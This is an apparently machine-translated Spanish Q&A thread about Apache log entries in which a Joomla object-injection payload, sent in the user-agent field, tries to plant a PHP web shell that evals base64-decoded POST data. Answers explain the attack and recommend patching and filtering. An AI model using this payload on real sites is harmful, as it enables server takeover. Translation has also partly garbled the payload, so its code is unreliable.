¿Se utilizó la identificación de agente de usuario para alguna técnica de ataque de secuencias de comandos?

Las entradas de registro de acceso de Apache en mi sitio suelen ser como esta:

207.46.13.174 - - [31 / Oct / 2016: 10: 18: 55 +0100] "GET / contact HTTP / 1.1" 200 256 "-" "Mozilla / 5.0 (compatible; bingbot / 2.0; + http: // www .bing.com / bingbot.htm) "0.607 MISS 10.10.36.125:104 0.607

para que pueda ver el campo de agente de usuario allí. Pero hoy también encontré el campo de agente de usuario utilizado así:

62.210.162.42 - - [31 / Oct / 2016: 11: 24: 19 +0100] "GET / HTTP / 1.1" 200 399 "-" "} __ test | O: 21:" JDatabaseDriverMysqli ": 3: {s: 2 : "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "\ 0 \ 0 \ 0disconnectHandlers"; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "sanitize"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "feed_url"; s: 242: "file_put_contents ($ _ SERVER [" DOCUMENT_ROOT " ] .chr (47). "sqlconfigbak.php", "| = | \ x3C" .chr (63). "php \ x24mujj = \ x24_POST ['z']; if (\ x24mujj! = '') {\ x24xsser = base64_decode (\ x24_POST ['z0']); @ eval (\ "\\\ x24safedg = \ x24xsser; \");} "); JFactory :: getConfig (); exit;"; s: 19: " función_nombre_caché "; s: 6:" afirmar "; s: 5:" caché "; b: 1; s: 11:" clase_caché "; O: 20:"JDatabaseDriverMysql ": 0: {}} i: 1; s: 4:" init ";}} s: 13:" \ 0 \ 0 \ 0connection "; b: 1;} ~ Ů" 0.304 BYPASS 10.10.36.125:104 0,304

¿Fue esto un ataque? La siguiente entrada de registro parece haber recuperado correctamente el archivo (código 200) sqlconfigbak.phpmencionado en el script. Aunque no puedo encontrar el archivo en el sistema de archivos:

62.210.162.42 - - [31 / Oct / 2016: 11: 24: 20 +0100] "GET //sqlconfigbak.php HTTP / 1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla /5.0 (compatible; Googlebot / 2.1; + http: //www.google.com/bot.html) "0.244 BYPASS 10.10.36.125:104 0.244

Por favor, ¿qué estaba pasando aquí?

Este es un Joomla 0 Day Attack. Información encontrada aquí: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

Esta no es una prueba de vulnerabilidad a pesar de la prueba __. Es un ataque.

Asegúrese de que cualquier instalación de Joomla esté lo más actualizada posible.

Otra opción es simplemente usar .htaccess para interceptar este exploit buscando una cadena común, "__test" funcionaría y redirigir a otro lugar.

La dirección IP que vinculó no se resuelve en un nombre de host de Google, por lo tanto, no es Google. La persona o el bot está escaneando su sitio en busca de vulnerabilidades. El primero está intentando encontrar una vulnerabilidad de Joomla.

Estos eventos son frecuentes en la mayoría de los sitios web. Debe asegurarse de seguir las mejores prácticas y fortalecer su sitio web, el proceso es largo y deberá buscar y seguir un tutorial en línea.

Además de otras respuestas, tenga en cuenta que el hecho de que este ataque aparentemente funcionó sugiere que está ejecutando una versión antigua e insegura de PHP. Una solución para el error que explota este ataque se lanzó en septiembre de 2015. Ejecute su proceso de actualización y asegúrese de que obtenga la versión más reciente de PHP. Y busque también otros programas desactualizados que estén conectados a Internet, ya que parece que su servidor no se ha actualizado durante al menos un año.